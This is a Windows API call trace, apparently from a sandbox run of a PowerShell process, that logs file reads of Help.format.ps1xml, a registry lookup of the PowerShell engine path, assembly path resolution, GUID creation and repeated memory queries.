[0040.061] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.061] GetLastError () returned 0x0
[0040.061] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.061] GetLastError () returned 0x0
[0040.061] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.061] GetLastError () returned 0x0
[0040.062] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.062] GetLastError () returned 0x0
[0040.062] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0xf37, lpOverlapped=0x0) returned 1
[0040.062] GetLastError () returned 0x0
[0040.062] ReadFile (in: hFile=0x300, lpBuffer=0x2481a2b, nNumberOfBytesToRead=0xc9, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2481a2b*, lpNumberOfBytesRead=0x16e654*=0x0, lpOverlapped=0x0) returned 1
[0040.062] GetLastError () returned 0x0
[0040.062] ReadFile (in: hFile=0x300, lpBuffer=0x2482354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2482354*, lpNumberOfBytesRead=0x16e654*=0x0, lpOverlapped=0x0) returned 1
[0040.062] GetLastError () returned 0x0
[0040.062] CloseHandle (hObject=0x300) returned 1
[0040.062] GetLastError () returned 0x0
[0040.062] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e1b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d
[0040.062] GetLastError () returned 0x0
[0040.062] SetErrorMode (uMode=0x1) returned 0x1
[0040.062] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24a3350 | out: lpFileInformation=0x24a3350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11027b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a11027b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2ed081c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1
[0040.062] GetLastError () returned 0x0
[0040.063] SetErrorMode (uMode=0x1) returned 0x1
[0040.063] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d
[0040.063] GetLastError () returned 0x0
[0040.063] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e5d8 | out: phkResult=0x16e5d8*=0x300) returned 0x0
[0040.063] RegQueryValueExW (in: hKey=0x300, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e620, lpData=0x0, lpcbData=0x16e61c*=0x0 | out: lpType=0x16e620*=0x1, lpData=0x0, lpcbData=0x16e61c*=0x56) returned 0x0
[0040.063] RegQueryValueExW (in: hKey=0x300, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e620, lpData=0x365310, lpcbData=0x16e61c*=0x56 | out: lpType=0x16e620*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x16e61c*=0x56) returned 0x0
[0040.063] RegCloseKey (hKey=0x300) returned 0x0
[0040.063] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d
[0040.063] GetLastError () returned 0x0
[0040.063] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e114, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d
[0040.063] GetLastError () returned 0x0
[0040.075] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xe3227d12, Data2=0x7e89, Data3=0x44a6, Data4=([0]=0x94, [1]=0x1a, [2]=0x63, [3]=0x8c, [4]=0x46, [5]=0x5e, [6]=0x9e, [7]=0x9f))) returned 0x0
[0040.075] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xf8e852a4, Data2=0x8d11, Data3=0x4283, Data4=([0]=0x9d, [1]=0x27, [2]=0x46, [3]=0xd2, [4]=0xe, [5]=0x72, [6]=0xf4, [7]=0x17))) returned 0x0
[0040.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.076] GetLastError () returned 0x0
[0040.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.076] GetLastError () returned 0x0
[0040.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.076] GetLastError () returned 0x0
[0040.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.076] GetLastError () returned 0x0
[0040.110] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.110] GetLastError () returned 0x0
[0040.110] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.110] GetLastError () returned 0x0
[0040.110] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.110] GetLastError () returned 0x0
[0040.110] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x120fe99a, Data2=0xb373, Data3=0x4853, Data4=([0]=0x86, [1]=0x22, [2]=0xd7, [3]=0x7a, [4]=0xf1, [5]=0x37, [6]=0xbc, [7]=0x54))) returned 0x0
[0040.110] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dd58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.110] GetLastError () returned 0x0
[0040.110] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.110] GetLastError () returned 0x0
[0040.110] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.110] GetLastError () returned 0x0
[0040.110] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dd58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.110] GetLastError () returned 0x0
[0040.112] VirtualQuery (in: lpAddress=0x16cf94, lpBuffer=0x16df94, dwLength=0x1c | out: lpBuffer=0x16df94*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.112] VirtualQuery (in: lpAddress=0x16cfd0, lpBuffer=0x16dfd0, dwLength=0x1c | out: lpBuffer=0x16dfd0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.112] VirtualQuery (in: lpAddress=0x16d300, lpBuffer=0x16e300, dwLength=0x1c | out: lpBuffer=0x16e300*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.112] VirtualQuery (in: lpAddress=0x16d300, lpBuffer=0x16e300, dwLength=0x1c | out: lpBuffer=0x16e300*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.113] VirtualQuery (in: lpAddress=0x16d300, lpBuffer=0x16e300, dwLength=0x1c | out: lpBuffer=0x16e300*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.113] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.113] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.114] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.114] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.114] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.114] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.114] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.114] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.115] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.115] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.115] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.115] VirtualQuery (in: lpAddress=0x16d13c, lpBuffer=0x16e13c, dwLength=0x1c | out: lpBuffer=0x16e13c*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.115] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.116] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.116] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.116] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.116] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x45d3dd4, Data2=0xc7b8, Data3=0x48f9, Data4=([0]=0x94, [1]=0xbb, [2]=0xcc, [3]=0x24, [4]=0x9f, [5]=0x7c, [6]=0xe8, [7]=0x8f))) returned 0x0
[0040.118] VirtualQuery (in: lpAddress=0x16d300, lpBuffer=0x16e300, dwLength=0x1c | out: lpBuffer=0x16e300*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.118] VirtualQuery (in: lpAddress=0x16d300, lpBuffer=0x16e300, dwLength=0x1c | out: lpBuffer=0x16e300*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.118] VirtualQuery (in: lpAddress=0x16d300, lpBuffer=0x16e300, dwLength=0x1c | out: lpBuffer=0x16e300*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.118] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.118] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.132] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.132] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.132] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.133] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.133] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.133] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.133] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.133] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.134] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.134] VirtualQuery (in: lpAddress=0x16d13c, lpBuffer=0x16e13c, dwLength=0x1c | out: lpBuffer=0x16e13c*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.134] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.134] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.134] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.135] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.135] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x260ef773, Data2=0xfd5e, Data3=0x426e, Data4=([0]=0xb5, [1]=0x7f, [2]=0xbf, [3]=0x64, [4]=0x6e, [5]=0x39, [6]=0x69, [7]=0x5f))) returned 0x0
[0040.135] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x1b89d4cf, Data2=0xf839, Data3=0x4360, Data4=([0]=0x81, [1]=0x37, [2]=0x51, [3]=0xa1, [4]=0xf4, [5]=0xa, [6]=0x2d, [7]=0x3e))) returned 0x0
[0040.136] VirtualQuery (in: lpAddress=0x16cef4, lpBuffer=0x16def4, dwLength=0x1c | out: lpBuffer=0x16def4*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.136] VirtualQuery (in: lpAddress=0x16cef4, lpBuffer=0x16def4, dwLength=0x1c | out: lpBuffer=0x16def4*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.137] VirtualQuery (in: lpAddress=0x16cf30, lpBuffer=0x16df30, dwLength=0x1c | out: lpBuffer=0x16df30*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.137] VirtualQuery (in: lpAddress=0x16cef4, lpBuffer=0x16def4, dwLength=0x1c | out: lpBuffer=0x16def4*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.137] VirtualQuery (in: lpAddress=0x16cf30, lpBuffer=0x16df30, dwLength=0x1c | out: lpBuffer=0x16df30*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.137] VirtualQuery (in: lpAddress=0x16cef4, lpBuffer=0x16def4, dwLength=0x1c | out: lpBuffer=0x16def4*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.138] VirtualQuery (in: lpAddress=0x16cf30, lpBuffer=0x16df30, dwLength=0x1c | out: lpBuffer=0x16df30*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.138] VirtualQuery (in: lpAddress=0x16cef4, lpBuffer=0x16def4, dwLength=0x1c | out: lpBuffer=0x16def4*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.138] VirtualQuery (in: lpAddress=0x16cf30, lpBuffer=0x16df30, dwLength=0x1c | out: lpBuffer=0x16df30*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.138] VirtualQuery (in: lpAddress=0x16cef4, lpBuffer=0x16def4, dwLength=0x1c | out: lpBuffer=0x16def4*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.139] VirtualQuery (in: lpAddress=0x16cf30, lpBuffer=0x16df30, dwLength=0x1c | out: lpBuffer=0x16df30*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.139] VirtualQuery (in: lpAddress=0x16cef4, lpBuffer=0x16def4, dwLength=0x1c | out: lpBuffer=0x16def4*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.139] VirtualQuery (in: lpAddress=0x16cf30, lpBuffer=0x16df30, dwLength=0x1c | out: lpBuffer=0x16df30*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.140] VirtualQuery (in: lpAddress=0x16d364, lpBuffer=0x16e364, dwLength=0x1c | out: lpBuffer=0x16e364*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.141] VirtualQuery (in: lpAddress=0x16d364, lpBuffer=0x16e364, dwLength=0x1c | out: lpBuffer=0x16e364*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.141] VirtualQuery (in: lpAddress=0x16d364, lpBuffer=0x16e364, dwLength=0x1c | out: lpBuffer=0x16e364*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.141] VirtualQuery (in: lpAddress=0x16d364, lpBuffer=0x16e364, dwLength=0x1c | out: lpBuffer=0x16e364*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
